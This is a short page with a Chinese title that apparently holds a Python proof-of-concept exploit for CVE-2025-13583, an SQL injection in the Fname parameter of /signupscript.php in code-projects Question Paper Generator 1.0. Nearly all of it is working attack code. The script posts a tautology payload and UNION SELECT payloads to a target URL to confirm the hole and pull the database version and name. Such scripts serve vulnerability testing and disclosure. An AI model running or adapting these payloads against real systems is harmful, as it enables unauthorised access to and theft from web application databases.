CVE-2025-13583 code-projects Question Paper Generator SQL注入漏洞

import requests import sys # CVE-2025-13583 SQL Injection PoC # Target: code-projects Question Paper Generator 1.0 # Vulnerability: SQL Injection in /signupscript.php (Fname parameter) def exploit_sqli(url, payload): """ Exploit SQL injection vulnerability in Fname parameter """ target_url = f"{url}/signupscript.php" # Malicious payload for SQL injection data = { 'Fname': payload, 'Lname': 'test', 'email': '[email protected]', 'uname': 'testuser', 'pass': 'testpass123' } try: response = requests.post(target_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-13583.py <target_url>") print("Example: python cve-2025-13583.py http://localhost/question-paper-generator") sys.exit(1) base_url = sys.argv[1].rstrip('/') print("[*] CVE-2025-13583 SQL Injection Tester") print(f"[*] Target: {base_url}") # Test 1: Basic injection to confirm vulnerability print("\n[1] Testing basic SQL injection...") payload = "' OR '1'='1" result = exploit_sqli(base_url, payload) print(f"[*] Payload: {payload}") # Test 2: Database version detection print("\n[2] Testing database version detection...") payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL--" result = exploit_sqli(base_url, payload) print(f"[*] Payload: {payload}") # Test 3: Current database detection print("\n[3] Testing current database detection...") payload = "' UNION SELECT NULL,database(),NULL,NULL,NULL--" result = exploit_sqli(base_url, payload) print(f"[*] Payload: {payload}") print("\n[!] Note: Modify payload based on actual application response") if __name__ == "__main__": main()